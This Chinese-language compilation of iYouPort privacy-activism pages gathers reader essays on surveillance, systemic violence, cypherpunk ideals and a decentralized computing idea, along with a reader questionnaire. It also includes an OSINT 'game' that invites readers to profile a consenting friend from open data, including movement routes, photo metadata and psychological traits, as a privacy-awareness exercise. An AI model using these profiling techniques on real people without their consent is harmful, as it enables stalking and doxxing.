我们还需要紧抱着网红经济的棺材板不松手吗？网红带给了我们什么，除了过眼云烟的癫狂之外？还需要为点击量垂涎欲滴吗？昨天最热门的文章你现在还能记得几个字？

互联网最大的价值是协作，和联合，而不是让你一个人出名。如果你的名声不能带来任何创造力和公共价值，你的最佳出路也只有淘宝店。

「图」

「图」

7 《人们会模仿你，不论你做得是不是正确的》

我自己做过很多实验，我发现周围人真的会模仿你，不论你做的是不是对的。

那天下着小雪，我排在快餐车前的一个长队里面，站在我后面的还有十几个人。当时我穿着一件羊绒外套，细小的雪花就不断粘在我的外套上，并迅速融化成小水滴。我后悔穿了这样的衣服出来，它很快就会变得湿漉漉的。于是我不停的在身上拍打，希望能避免雪花被粘住。

但是很快，我从身边停着的一辆汽车的后视镜中发现，站在我身后的两个人也在拍打他们自己的身体，而且是紧跟着我的动作和频率。我感觉自己发现了一件有趣的事，因为排在我后面的人穿的是针织面料的羽绒服，那种面料，你知道的，并不会沾水，不会被打湿。

是的，他们只是在单纯的模仿我，并没有考虑我的“现状”和他们不一样。

这件事引起了我极大的兴趣，我感觉自己无意中深刻感知到了社会心理学的一个理论。为了验证它，从那时开始我不断地做实验。在拥挤的地铁上打哈欠、在无桌的互助小组会议上抖腿、在办公室讨论期间用手指转动铅笔……

每一次都能证实我的结论是正确的：只要你开始做，坚持做，哪怕只有你一个人开始做，一段时间后肯定有人开始模仿你。你不需要宣传自己，“嗨，快看啊，我打哈欠了”，不真的不需要，你也不需要非常刻意，你只需要坚持，只需要继续做下去，你就能吸引他人的注意。

但是，你必须要做正确的事！一旦你做错了并且坚持，依旧有人会效仿你的错误，那时候你带来的就不是增益而是危害。

我喜欢 IYP 的心态：做事，而不是做广告。如今很多人无法理解这点也做不到。人们太痴迷于宣传了，而不去考虑他们宣传的东西是不是真的能惠及最需要的人，也就是它能起到什么作用、能改变多少危险和不堪的现状。其结果就是铺天盖地的广告、个人营销和品牌吹嘘，甚至不惜造假，因为人们的追求已经不是通过产品去解决问题，而仅仅是“把产品卖出去”。

“卖出去”并没什么错，在某些领域它的确就是终极价值，但是，那些领域是商界的，而不是知识界的，更不是思想界的，而如今最可怕的现象就是，互联网和流量经济让太多人混淆了这两者 — 将知识视为了彻头彻尾的商品，将思想视为了急需出手的存货 — — 当一群知识分子像商界大佬那样斤斤计较、拼命算计、做梦都想着垄断和排挤同行的时候，我们能得到的只有虚伪的卖弄和偏执的竞争。

8、《不能只是读》

我没读过什么书，你们的文章我不是都能看懂，但是我能感觉你们在努力，这是我喜欢的。

我通过互联网学到了很多东西，你们说的集中化什么的我没感觉到，但是我觉得互联网真的抢走了我的注意力，而且我的记忆力也越来越差了。我只能记得谷歌，因为不管忘了什么都可以分分钟谷歌出来，我就不用把那些东西放脑子里。

这种感觉让我有点害怕。每天都在看很多文章，很多人说的话，有些东西写的很好，当时会觉得将来一定用得到吧。可是我要用的时候却必须有 Wi-Fi，还得有VPN，要不然我不知道怎么搜到它，它根本进不到我的脑子里。

这是一种“它不属于我”的感觉。每天都在上网，结果睡觉前一关机脑子里什么都没有。我不知道是不是只有我这样，也许是我读书比别人少，也许是我太笨了，但是我觉得自己上网根本就是在浪费流量。我能记得你们写过什么内容，什么街头抗议须知、怎么避免被跟踪、怎么上推最安全、怎么挑 VPN……可我只能记得这些标题，里面写的什么一个字都想不起来。我发誓当时真的在读。

你看如今那些电视剧，每一集的片头都有上集的内容回顾，也许导演也知道有我这样的记不住东西的观众，也许像我一样的人太多了？是不是应该想点办法解决这个问题，否则好文章不断的发表，结果起不到应该起到的作用。这肯定是一种浪费。

我倒是有一个经验。有一次我照着网上的教程装虚拟机，你们可能认为那是很简单的事，但对于我来说没有教程是绝对干不来的。结果成功了，然后我又帮女朋友装了一个，现在我能记得那教程的全部内容。什么原因？怎么这件事我没忘？因为我尝试了。我觉得这就是关键，是和平时只读文章的唯一区别。

所以我想建议你们带人们实践，或者只是鼓励人们去实践都行，试过的人就不会忘，更多的人实践知识就不会浪费了。

「图」

「图」

9、《无处伸冤的暴力》

暴力分两种，生活的体制化是一种无处伸冤的暴力。

齐泽克将暴力分成两种：一种是主观暴力，这种暴力有明确的行动主体，比如说凶手杀人，资本家剥削人，国家发动侵略战争，这种暴力来源很清楚，人们都知道谁害了谁。

主观暴力比较容易对付，可以躲避，还可以去报复，因为你知道谁害了你。但是更深刻的是另一种暴力，齐泽克称为客观暴力。在这种暴力中人们不知道是谁在实施暴力，这种暴力是匿名的，没有为之负责的主体，它是无处不在的系统化暴力。

系统化的暴力不仅是经济制度，还有文化制度、心理制度、信息制度、话语制度等等一切能够把人和事情体制化的系统暴力。

系统化的暴力并不直接伤害人，而是暗中通过规则、制度和程序去剥

夺各种自由，限制各种可能性，“程序正确地”进行剥削，这种剥削似乎不是犯罪，而是通过制定标准和游戏规则而合法地获取暴利。

系统化暴力甚至使人失去思想。并不是说必须有个权力在禁止人们思想。国家模式的专制权力事实上也做不到禁止人们思想，至多不许人说话，那是最低水平的专制，如今所有人都知道，禁令是一种最高效的宣传。

而系统化暴力通过改造和定义词汇概念数据库的方式使人失去反思能力。每当人开始思想，就只能想到那些被系统认证为政治正确的词汇，慢慢地，人们就习惯于这样在一个笼子里“思考”，某些思想被认为是安全的，事先就正确了，某些话就像口号一样需要不时地喊几句，感觉理直气壮。这是貌似在思想，其实什么也没想，只不过是像机器人一样重复指令。

心灵被奴役，这才是更可怕的暴力。真正难以解决的暴力就是那些系统化暴力，那些看不见的或者看见了也没办法的专制。

从古至今反叛都是少数，绝大多数人通过服从来获得安全感，获得他人和社会的认可和慰藉，直到他们自己都忘了自己的本来应该是什么样子，系统化暴力就是在培养这样的人，让周围人和整个社会给你一种无形的压力。Facebook 可以跟踪人们在输入框键入的并且最终没有被点击发送的内容和文字，以此偷窥一个人的自我审查。我觉得扎克伯格不仅能了解你的表面行为，还了解你内心深处最大的恐惧，那些你自己都不愿意承认的东西。

阴暗的算法会加剧这种暴力，因为它让你只能看到那些操纵者希望你看到的东西，那些希望对你形成影响的东西，而不一定是你最需要的东西。慢慢的你会觉得自己“有必要”和周边保持一致，“有必要”压制自己的真实想法。人们总是喜欢说“大家都”如何，却没多少人去想它是不是真的合理。

当你从键盘上或嘴边抹去一些东西的时候，想想那是为什么，尤其是当被抹去的东西就是事实的时候，你需要知道自己正在遭受暴力；当你缺乏创造力，思路只能在一个范围内打转的时候，你需要知道自己正在遭受暴力；当你觉得某些东西无需辩论就天然正确的时候，可能已经无法摆脱这种暴力了。

推动进步的永远都是反思和质疑，而不是服从。●

Merry Christmas!! 🎄 ▶ 广告

原文

《灾年之畔》报告读者来稿 - iYouPort

游戏和参与

感谢所有回复的朋友，感谢所有读者，做出改变需要我们所有人的努力

「图」

「图」

fuckfomo：“弱者要隐私强者要透明”

我是去年在 ICO 热潮之中了解到密码朋克的，读比特币白皮书的时候也看到 cyhperpunk 宣言，然后接触到泡泡网的为自由而战系列，那时候 EFF 写赛博空间独立宣言的创始人也去世了，阿桑奇的《密码朋克：自由与互联网的未来》也买来拜读。

“弱者要隐私强者要透明”，比如民营经济需要保障私有产权谷歌每年发布透明度报告有的政府会公开官员财产，然后我开始大量阅读奥地利经济学派，哈耶克和米塞斯的基本上都翻阅过，然后比如编程随想的禁书读过少许，秦晖和周保松老师写的关于自由主义的内容解惑不少，同时我虽然在 P2P 资金盘投机方面损失不少，但区块链一波牛市还是基本上让生活无虞。虽然没怎么套现也经历各种诈骗但秉持极简和加上斯多葛的一点塔勒布哲学。

至今我算是过着永不工作的五月风暴和即时退出当代生活的嬉皮日子，一方面我在普及批判消费景观的态度立场，一方面也希望找到一条作为模因囚徒的博弈道路，目前也只是把 telegram 运营成笔记备忘录＋newsletter 频道的样子。

关于数字极权主义，从两点来解读，一是数字媒介的影响，后真相时代的媒体嗜血加深了群体极化和回声室效应等，人们上网大多是为了建构另一个人设来发泄现实中的不满或实现自恋和变现。赛博空间已经被几大巨头公司垄断形成攫取利益和压榨数据石油的规训工厂，肉食者鄙和政治正确都是触动权力敏感的 G 点，认知升级的小学问如同

浮萍里搅动一波收下智商税。

焦虑在全球蔓延，逃避自由选出强势的权威，新闻可以扭曲历史，舆论操纵和删帖禁言如同家常便饭，权力和资本的交媾空间让稍微理智的人都选择了犬儒和丧佛系。

后工业社会的宣言和新媒体的未来考古学可以作为参考，我认为不能简单说要戒断网络把屏幕当玻璃笼子或线下公社互助桃花源，也不看好无政府主义和万维网创始人的去中心化新项目，自由港的让人人都成为记者是一个很好的个体赋能理念，但 OSINT 我看了下也是比较极客，获取情报而不是浏览资讯是我目前的主张。

传播政府丑闻或解密文件不应该出于为了反对而反对的愤青视角，至少应该是 skin in the game，在现实中从关心身边的污染和公共空间开始，在网上就从使用自由软件和传播开源思想起步。我对 DAO 这一类其实挺失望的，区块链总是开会吸引注意力割韭菜，设计一种防守易于攻击的制度，持有密钥是天赋人权，这里的消极自由是免于许可且免于恐惧的。

第二点就要从阅读阿伦特说起，放弃自主权是一切恶的源点，思考的启蒙要和创业的冒险结合起来，多一点堂吉诃德式的企业家这个社会才可能焕然一新，让人人都成为买办阶级是我认为驯服利维坦的途径，转卖情报对个体有利是瓦解极权的机会吧，乌合之众就有理由建立自己的节点来书写自己想要的未来和记录历史。

也要用到一点分权和匿名的想法，这里也希望像Tor这样的推墙项目能够用户体验更好一点，有人说暗网才是真正的互联网，我感觉每个人都有选择分叉最长链的权力，但一个多元世界主义的社会也会保留你随时切换算力回来的后路。我相信无人驾驶和 steem 平台都会流行起来，不让用户导出数据和注销被遗忘/遗传的服务终究被抛弃，通证经济学是一个方法，像人人影视那样，也许长毛象那样的也可以发一个 token，关键还在于博弈制度的设计，像维基百科一样迭代，微信和微博/支付宝需要一场数字游民的迁移运动。

手机系统和应用市场都应该刷机/重装/卸载/权限的重视，像很多服务的会员 VIP 政策应该变更为 UBI，浏览器也是，你想要我看广告就必须保障我的基本新陈代谢，人们有了这样的利益诉求也不会陷于消费主义或次贷危机。

还有基因和物联网方面，测序如何造福而不是助纣为虐，摄像头和网络存储以及各种传感器的加密化，也涉及到量子计算机和黎曼猜想。

除了戴帽子和口罩也应该给面部识别算法个性化不让识别的权利，芯片的运行状态要作为基础设施人人可查询这样子。

其实人类已经不仅仅是生物上的负熵了，借助于控制智能家居或其他设备已经很接近赛博格或超体状态了。

目前要做的是数据加密的科普，隐私是唯一的灵魂和财富，要换便利也只是授权的形式。网盘/邮箱/搜索/通讯工具等最常用的急需用公民精神捍卫不作恶的底线。

我希望看到的是大多数人都知道如何联系可信度高的记者（换成自媒体也可），追求真相是通往自由之路，货币或国家都只不过是一场想象共同体的狂欢。

我们需要重新定义符号和神话，尽早遏制人类的自毁倾向，用技术和知识武装自己增强生命体的反脆弱性，要敢于相信自己是宇宙的骄傲是可以卓越地创造的物种，未来会来的越来越快。不能局限于与人斗，合作和分享再加上一点人工智能也许就能避免后人复哀后人。

总之，要思考，要挑战，要行动，要给客体祛魅，要浪漫地活着。

「图」

「图」

anonymous：技术无罪论 — 虚伪的借口

一直以来，当技术被强权用来压迫人性时，那些科研工作者总是用技术无罪论来解释。说技术本身是中立的，只是人把技术用来作恶,所以罪恶的是那些坏人。

真的是这样吗？技术的定义有很多，但是技术核心是满足服务于人的目的不是吗？

当技术人员研发杀人 AI 时，他们不明白这些无人机，这些 AI 程序是用来杀人的吗？研发和维护 GFW 系统人难道不知道它是用来做什么的吗？建立审查和监视系统的技术人员难道真的不知道，就是因为他们的技术支持可以毁掉一个人和一个的家庭吗，仅仅是因为网路上的一句质疑？

他们当然知道所参与研发的技术的目的.所谓技术无罪论和技术中立论不过是他们自我安慰和欺骗他人的借口。谁才是最大的恶人？

“谷歌帮助中国政府的审查，另一家美国公司 Procera 帮助土耳其的暴政对所有公民实施间谍行为；被曝光后前者紧急封锁了相关文件，后者禁止其员工接触媒体；两者都在引起群情激愤后遭到了来自内外部的反抗、员工辞职，并且同时，两者也都没有因此改变他们的做法”

为什么大公司和政府即使遭到了一些有良知的员工的抵抗，他们也从来不会改变他们的做法？因为他们知道。

那些以技术无罪论为借口的技术人员很多。即使那些有良知的技术人员全辞职了，他们总能一金钱和权利招揽更多的技术人员。

用担心受到迫害和 ”也是为了生活”为借口，不过是那些作恶的技术人员自我怜悯的伪装，实际上他们明白，作恶更容易得到金钱和权力。在金钱和权力的诱惑面前，人的良知如此的不堪一击。然而罪恶不仅局限于此。金钱和权利的诱惑只是他们达成目的的手段。

技术不再用于造福人类。而是成为了强权压迫人性的工具，甚至垄断技术已经成为了强权本身。

网络已经和人们的生活缠绕的密不可分，IoT 的兴起更是加剧了这种人类活动对网路和技术的依赖。当一个人可以垄断技术和知识的力量时，他几乎可以在现代社会做任何事，得到任何东西，知晓任何信息。他可以决定一个人的生死，玩弄一个人的生活。这个诱惑在每个技术人员和强权的潜意识低语，只要垄断了技术和知识，一个人可以甚至成为 GOD，多么大的诱惑。

想像中国的现状吧。当您的一切处在权力的监视之下，您还可以真正的自由自在生活吗？或者说，您的一举一动、一言一行都受到监视和管控，人还可以称之为人吗？想想中国正在积极部署和升级的社会信用系统吧。

是谁一手创建的这个？那些帮助作恶的技术人员真的无罪吗?

良知的退败，罪恶的扩散

有良知的技术人员太少了，和那些为了金钱和权力的技术人员比起来太少了。

世界上的开源社区、自由软件、公开的加密程序都是这些有良知人们的辛勤劳动，然而一个令人担忧的趋势是，今年来自由软件少有新的出现。很多已有的自由软件和公开的加密程序甚至都是二三十年前的

产物，而且维护人员也少有新鲜血液的注入……我们的选择越来越少。

相对的，更多的监视和作恶公司蓬勃发展。臭名昭著的意大利 HackingTeam，向埃及出售 DPI 的 Procera，生产 Pegasus 的以色列公司 NSO，帮助中国政府研发人脸识别和监视系统的 Hikvision 和北京旷视(megvii)，开发步态识别的中国 WATRIX 公司等等。他们倒是赚的盆满瓢满，而且收入很多都是来自强权的沾着未干人血的猩红色钞票。用这些钞票他们不断吸引着技术高超的唯利是图者为他们卖命。

捍卫自由和人性的卫士们即辛苦又孤独，甚至充满了威胁生命的威胁。而作恶者的成本很低，付出的代价也微乎其微，但金钱和权力的回报却是难以想像的丰富。

开源社区的“消失”

最近 IBM 收购了开源 linux fedora 的维护团队 redhat，这不仅意味这 Fedora 的用户有了可能会受到 IBM 潜在控制的威胁，也是对开源社区不小打击，至少是起了个盈利模式的坏榜样。

之前一点时间，Github 也被 Microsoft 收购了。这个在开源社区甚至曾被认为是‘圣地’的自由地带也变得令人不放心了。虽然 Gitlab 可以作为另一个选择，但是已经是对 Github 产生使用习惯，并且有大量代码的程序员而言，转移并不是那么简单。或是面临资金问题难以维持，又或是对更多润的渴望，开源社区也处在被利益之上的公司蚕食的趋势。

加密危机

现在最常见而且还相对安全的加密算法，也已经有几十年了。AES、Serpent 和 Twofish 是 1998 年的产物，Blowfish 是 1993。近年几乎没有新的公开的安全加密算法的研发消息。但旧算法的安全性却在日益衰弱，而对加密的攻击却是层出不穷，不论是技术还是政策上。

政策上五眼国家不断的尝试破坏加密算法的公开性和安全性。澳大利亚的 Anti-Encryption Bill 竟然要求在加密上添加’安全’后门，简直是把人当白痴的愚蠢欺骗。

但是他们利用权力很可能会让这个法案通过。美国政府也在不遗余力的尝试削弱加密，其实他们一直试图通过很多类似的法案。技术上，

除了 NSA，各个集权的 APT 和唯利是图的私人公司也在不遗余力的破坏加密系统。

虽然量子加密理论上可以保证加密安全 — 理论上即使信息被观察也会改变 bit 状态，但是量子计算的研发速度远远大于量子加密的研发。不仅如此，有能力和资源研究量子计算和加密技术的，现在只有政府和大公司，开源社区几乎无能为力。

IBM 是 quantumn computing 的积极研发者，试想一下如果量子计算和量子加密都是由 IBM 最先研发的，利用申请专利，他们就同时垄断了矛与盾。意味者可以控制整个通信领域。而如果最先申请专利的是政府呢？比如中国政府也对量子计算领域的投入很大，后果更是毁灭性的。

更多的借口

监视和侵犯隐私的借口，现在最常见的就是：公共安全、暴力恐怖主义、假新闻、儿童色情、知识产权之类。

可是谁引发的公共安全问题和暴力恐怖主义？是他们。是谁在制造假新闻和操控舆论？是他们。是谁'嫖宿幼女'？是他们。是谁试图垄断知识、渴望民众变得无知？是他们。

是那些对权力痴迷、把人当作牲畜、吃人肉的集权者们。

我们知道他们在欺骗，他们也知道他们在欺骗，可他们还是在欺骗。而这种作恶，不是所谓的意识形态那么复杂虚玄的理由，是来自最原始的控制欲，在金钱和知识垄断的帮助下这种控制欲可以肆无忌惮的肆虐，而且永远不会得到满足。不论是中国还是其他集权。

他们会用更多他们制造的问题作为控制公民的借口，既是公民被分化成了民众，被削弱成了'老百姓'，被套上了隐形的枷锁成为了奴隶时，他们也不会满足。他们希望的是可以随意玩弄和控制的'快乐的牲畜'。

悲惨的现实

可悲的是，在个人软件使用上，有一个令人费解的现象：那些公开免费、自由的软件，却很少有人用。而很多人却青睐于集权生产的收费或充满广告，不透明的 spyware。源源不断的为强权们输送资金，用来压迫我们自己，为什么会有这种现象呢？明明那些自由软件的功能更强大、更安全，而且全权归每个用户个人所有。

即使是有限的加密技术，人们也很少认真的使用和对待。看看公共互联网上有多少网站还在用明文 http 协议的吧。甚至是 https 网站中，还有人使用 TLS 1.1 这种已经被攻破的协议。

而对敏感文件的加密，比如小公司的商业机密，都没有想像的那么普及，甚至各个国家的被政治威胁生命的'异己'还再用作恶的监视巨头的通信工具交流对话。看看中国'异议'有多少人还在依赖 wechat、baidu、和 360？看看有多少人拒绝学习加密方法，甚至对普及知识的文章的一瞥都不屑。难道虚无主义、精神胜利法、阿Q精神，是这些'异议'的座右铭吗？

大概会有更多的懂技术的人变成作恶者吧，毕竟成本那么低，回报那么高。也许有一天连那些自我安慰的借口都不需要了吧，技术作恶到成了炫耀的资本。

我们面对的不单是「「1984」」，那个已经实现和过时了，我们正在面对的是数字集权的反乌托邦，而且有的 circle 已经成为了现实。请参考小说 「「来自新世界」」 — written by 貴志 祐介 。这样下去终将有一天很多人会不再为人，而一些人却可以成为有绝对控制权的 GOD。

「图」

「图」

banana：去中心化系统 — — 一个一劳永逸的去中心化解决方案

比起逐个将各类软件去中心化，也许我们应该找到一个终极的去中心化解决方案。想象这样一个分布式操作系统，或者一个平台（因为它尚未命名，下面我们称它为 X）。它安装在每台计算机上，它可以安装在 windows 和 Linux 上，每个用户为它提供一定的 CPU、显卡、内存、硬盘和带宽占用率。是的，它会把所有用户的计算机联合起来，组成一个巨型的超级计算机。

目前世界上最快的超算"顶点（Summit）"其浮点运算速度峰值达到每秒 20亿亿次（200PFlops）。假设家用计算机的浮点运算速度峰值平均为30亿次，全球有40亿网民，假设他们每人至少一台计算机，那么这台超算的浮点运算速度峰值可轻易突破1200亿亿次。这只是一个保守的估计数字。

「图」

「图」

这台由无数个 X 系统组成的超算将被用来当成公共服务器，它会有自己定制的编译器，定制的 IDE，由 X 系统根据算法决定数据储存在哪，每条指令分配给哪台计算机，**X** 系统上的软件无权决定将数据集中在某台计算机上。这样，每个运行在 **X** 系统上的软件都会是去中心化的软件，它的数据不仅由用户来掌控，而且它的服务器端的计算力也将由用户提供。数字权力将进行再分配。

「图」

「图」

想象有一天，你只需要安装 X 系统，就等同于参与了网络民主。你为 X 系统提供的计算力就是你的选票，由计算力决定运行在 X 系统上的软件是生还是死。当一个软件无法获取足够的计算力，那么它就很难提供好的服务，它就会渐渐被人遗忘。

关于这样一个系统，看起来像是一个乌托邦幻想，它是否真的可以实现？如果要实现，我们应该如何设计它？X 系统会面临许多问题，这不是一两个团队能解决的。但我仍然抱持着这样的幻想，有一天它一定会出现。

关于 X 系统的思考，以及尚未解决的问题

0. 一个简陋的 X 系统可能是怎样的？

它运行在每个用户的虚拟机上，它可能是一个 Linux 改写的系统，或者 Linux 上的一个软件平台。它的结构可能和现有的计算机完全不同，也许它需要重新定义进程为何物？存储结构为何物？如何分发指令？

1. 如何降低延迟？

优先向延迟最小的服务端发起请求，如果用户安装了服务端，会优先向用户自己的服务端发起请求。

2. 这台超算如何才能没有控制中心，如何才能不酝酿出谷歌那样的老大哥？

由用户请求接受者发起计算，整个网络做出回应，优先将计算指令分配给延迟小的其他服务端。

3. 如何读取数据？

与用户 A 相关的数据，优先放在用户 A 的服务端。

4. 如何防止泄漏隐私？

一个复杂的计算会由多个服务端完成，他们都知道自己在做什么，但是他们无法理解最终会导致什么后果，他们甚至不知道这些数据的意义（拆解、混淆、混合复杂操作）

5. X 系统是否会让网络变得不可理解？不可理解的危害是什么？如何防止这些伤害？

6. 如何使开发者在不关心去中心化问题的前提下，使用 X 系统提供的 IDE 自然而然地开发出去中心化的软件？

7. 如何保证储存数据不丢失？

多个备份，记录用户储存信誉。

8. 如何保证系统整体安全？

9. 如果保证用户、一般开发者，参与 X 系统开源事业的开发者的利益？

一般开发者会获得免费的服务器，用户会获得网络民主（和虚拟货币，待论证），参与 X 系统开源事业会获得名誉。

10. 如何保证用户不被欺骗？如何监督 X 系统及其上的软件运行？

11. X 系统如何应对量子计算机的到来？

12. 如何通过 X 系统对用户数据进行一次统计（比如说平均计算值），且保证用户的隐私不泄漏？能否解决本条件将关系到 X 系统能否模仿谷歌通过算法推荐内容。（第 4 条也许能解决这个问题，有待详细考证）

13. X 系统可能会酝酿一个强人工智能，如何应对？

……

非常感谢大家的思考，很有创意的解决方案！期待我们一起努力将能够在有朝一日解决这些问题。■

附：《"数字威权主义的兴起: 灾年之畔"》

广告

原文

亲爱的福尔摩斯，您的机会来了！ - iYouPort

游戏和参与

免责声明：如果您没能遵照本文中的游戏说明的任何一条，因而引发任何纠纷和法律后果，**IYP** 不会对此负责。感谢您的参与！

「图」

「图」

嗨，朋友！欢迎来的 IYP 游戏大厅！

这是我们第三次公开邀请您的参与，但本次与上两次不同，它需要您严格遵照游戏说明，否则有可能引发纠纷。但是，本次游戏的意义重大，关于如何能让中国的朋友们注重在线隐私安全，它是一个史无前例的挑战。

游戏是这样的 — —

你身边一定有很多喜欢晒晒晒的朋友，还有那种喜欢把心里话写在社交媒体上的朋友，更有很多人非常钟情于在线的*伪心理学测试*小游戏。我们一直在强调这些泄漏隐私的行为是危险的，但警告的效果似乎不好。很多人根本不在乎，甚至质疑你多虑。

在这种局面下，如果当局或社会流氓想追踪任何一个人，甚至可以完全不需要布设恐怖的间谍软件和大型科技公司的配合，已经有很多入户盗窃抢劫和追踪打压异议的事件，因此获得了准确的目标定位。

您曝光于在线的数据不仅能让老大哥了解您的内心、您当下的生活全景图，还能预测您未来的行为，在您自己都不一定全面了解自己的情况下，数据全了解。政审是什么？根据表面信息、问答、考核？那些都可以通过简单的欺骗蒙混过关，但是您洒下的数据面包屑是不会撒谎的，现在这些面包屑正在被政府、科技巨头公司、和形形色色的第三方中间商消费，被用来操纵你，甚至令你面临人身威胁。

隐私保护组织不断的警告似乎收效甚微，民间活动家的奔走令一些国家成功增加了隐私保护法案，但这些法案有严重的漏洞，甚至完全无法保护您。

状况是急切的。唯一的方法就是动员所有人加入到隐私保护基本功计划中来。

于是我们设计了一个小游戏，通过征稿的形式，邀请大家为身边的朋友“写日记”。您可以采取任何开源信息和数据 — ⚠ 请注意数据必须是开源的，禁止任何黑客动作和线下追踪 — 构建目标人的生活全景图，包括可以是心理活动地图。

> 同时，您也能通过对本游戏的参与，获得重要的信息：关于您的朋友中是否有不可靠的人。如果您交往了不可靠的朋友，他们将在完全无意的状态下令您陷入危险！如果一个群体内有一个人不注重隐私保护，参加这一群体的所有人都将受到牵连。

⚠ 第一步！您应该争取到合作者的知情同意。是的，这不是福尔摩斯先生/女士您一个人的游戏，您需要与您选定的目标人合作，让目标人了解我们的游戏目的、尤其是游戏说明。

请对您选取的目标人（您的合作者）解释清楚：这只是游戏，不会曝光目标人的真实姓名、住址、工作单位等一系列身份信息，更，要知道，参与者最终形成的调查结果，只是当局、科技巨头公司、和任何第三方数据中间商，所掌握的目标人隐私数据的亿万分之一！

请严格遵照上述说明。下面我们开始介绍具体内容：

格式是这样的：

- 故事以第一/第三人称形式呈现；
- 时间跨度不限；
- 用句尾（ ）形式标注相关信息数据的来源/使用的在线工具 — 尤其是 **IYP** 曾经提供过的开源信息挖掘工具，后者是加分项；
- 配图加分，尤其是未能隐藏元数据于社交媒体上传的照片，显示并解释其元数据；

信息类型包括并不限于：

- 事件、地点、人物身份；

- 生活习惯、兴趣爱好；
- 消费习惯、经济状况；
- 在线浏览和注册的网站；
- 旅行信息、某时间段内行踪路线、日常活动路线；
- 心理特征、性格特点；
- 语言风格、行文特点；
- 信息获取偏好、认知特点；
- 等等……

鼓励展开创造力挖掘；建议选取不实名的用户，加强挑战性（维基百科里都能搜到的人物就算了）；⚠ 禁止涉及未实名用户的真实姓名、电话号码、身份证号码、社会保险号和具体家庭住址，如果通过健身应用或招聘应用显示了家庭住址和电话号码，上传图片前请帮助掩盖。

所有来稿均被刊登！希望您的故事能体现开源数据挖掘的思路，我们将通过呈现这些故事和思路，对不注重在线隐私的用户提出警告**!**

并且这个游戏也是我们对 OSINT 调查和信息验证技术的训练，希望 IYP 的读者能熟练使用我们提供的工具。

提醒：

- 行文风格和表达频率（尤其是频率的变化）可以体现一个人在某一时段的情绪状态；
- 上传的照片中有时候会包含具有高度线索价值的信息，可以尽情展开分析；
- 社交媒体头像和昵称有可能与性格特点和偏好有关；
- 如果同一个人在不同社交媒体平台对自我的描述南辕北辙，也同样是一种信息。其中存在规律，请仔细研究；
- 不同时段的话题偏好可以体现心智成长的过程；
- 交友范围有可能体现社会关系、阶层和受教育程度等信息……

不再做更多提示啦，严重期待您的创意挖掘！

时间限制是十天！截止日期：中国时间 **2018** 年**11**月**27**日零点；投递格式：邮件明文；邮箱：**iyouport_2@protonmail.com**

各位，玩得开心 ✌✌

在我们的“OSINT”栏目中找到工具和技巧。

广告

原文

问卷：让我知道为什么我应该喜欢你 - iYouPort

游戏和参与

这是第一个游戏！

「图」

「图」

欢迎参加我们的问卷活动！您可以匿名参加，请将您的答案用邮件*明文*回复给 *** 需要您在邮件标题中注明您在 **Twitter** 上使用的 **ID**（是 **ID** 不是昵称哦），格式：「问卷 — 您的 **ID**」。就是这么简单！

- 我们收集回复的截止日期是10月12号；
- 请使用您的常用邮箱，我们希望它是加密的！并在回复后十天内留意您的邮箱，我们可能会有回件发送；
- 我们将从中选取幸运者参加下一个游戏！

「 请注意大部分是多选题哦 ~ 单选题会有注明 」

1、您最擅长的领域是？

A 加密技术/反监控、反审查技术 — 我是 IT 工程师

B 情报分析 — 我接受过专业培训、能熟练使用在线调查工具、具有强批判性思维

C 传播学研究 — 我是传播学爱好者、能熟练使用数据分析技术、能撰写分析报告

D 社会工作 — 我对中国社会很熟悉、能联络不同社区的活动家、能熟练使用隐私保护技术以便安全地展开组织交流工作

E 翻译 — 我是外语爱好者、能熟练翻译报告和文档资料，包括英、

法、德、日、阿拉伯语，与中文互译

F 知识可视化 — 我可以熟练使用相关技术制作知识可视化报告、讲义幻灯片或与视频编辑合作制作相关短视频

G 信息采集 — 我是热心读者，熟悉 iyouport 的选题风格

H 以上都不是

2、您认为*互联网自由*意味着什么？

A 真相/公民知情权 — 实现民主政治

B 言论自由 — 可以毫无恐惧地表达自己的意见

C 匿名的权利 — 隐私权

D 纷杂的信息环境 — 自由度越高意味着必定虚假消息泛滥、人身攻击和语言暴力无法制止，就像如今的推特中文圈那样

E 大批的水军和政府线人混杂其中 — 误导人们的认知、监视并操纵异议人士和活动家

F 去中心化

G 以上都不是

3、您是如何获取信息的？

A 在线获取超过 90%，其次是同事或同学朋友之间的交流

B 主要从熟人的群聊中获取，公开的社交网络其次

C 主要从公开的社交网络获取，我喜欢转发消息到熟人的群聊中

D 基本只关注热点消息，我喜欢发表评论而不是浏览别人的意见

E APP，我有固定喜欢的几个主流媒体

F 我参与了一些新闻邮件组，内容很丰富，几乎不需要浏览社交媒体

G 以上都不是

4、您的社交媒体浏览习惯是？

A 只要我关注的人基本都会浏览

B 我关注的人很多，看不过来，但我有一些私密的 list 作为主要浏览

C 我使用社交媒体只为了发言，而不是浏览别人的发言

E 更多是通过搜索查找我需要的消息的关键字

F 只用它与我认识的人互动，其余不看

G 我厌倦社交媒体，只能看到一群口炮和假消息

H 以上都不是

5、您认为高粉丝量和高转发量意味着什么？

A 号召能力 — 粉丝量高的人更容易发起动员，转发量高意味着关注者多

B 大众化、擅长哗众取宠 — 发布假消息的账号的转发量从来都比真消息的多

C 做网红，开网店

D 网络名人应当承担更多维护真相的义务，但目前的事实上正相反

E 也许是买的僵尸粉。粉丝量不如粉丝质量，交到一个可以交流知识的朋友比一百个无法交流知识的朋友强多了

F 以上都不是

6、您从什么时候开始关注 **iyouport**（和 **paopao**）？

A 四年前

B 两年前

C 最近

D 偶尔阅读我感兴趣的话题

E 没有关注，如果有朋友转发推荐给我就会阅读

F 从来没有阅读过

7、您认为以下五件事最有可能的发生顺序是怎样的？（只选其一）

A 民主化变革➡言论自由➡隐私安全➡街头运动➡公民知情权

B 隐私安全 ➡言论自由➡公民知情权➡街头运动➡民主化变革

C 街头运动 ➡民主化变革➡言论自由➡隐私安全➡公民知情权

D 公民知情权➡民主化变革➡言论自由➡隐私安全➡街头运动

E 言论自由➡隐私安全➡街头运动➡民主化变革➡公民知情权

F 以上都不是

8、如果当局开始在全国各地的街头随机扫描每个人的移动设备，您认为以下哪种解决方案相对合理并可行？

A 不要带手机出门

B 每次出门都带两个手机，被要求扫描的时候让他们扫那个没有重要信息的备用手机

C 出门之前先把手机上所有的“敏感词”都删掉；今后不在网上讨论任何敏感话题

D 开发一种技术，让当局的扫描无法触及到设备上的重要数据

E 赶紧移民吧

F 我没什么需要隐藏的，无所谓

G 以上都不是

9、以下列出了一些危险因素，您认为其中哪一种多几种对您来说威胁性最大？

A 随时有可能被逮捕

B 经济萧条、贫困

C 无处不在的监视技术和追踪技术

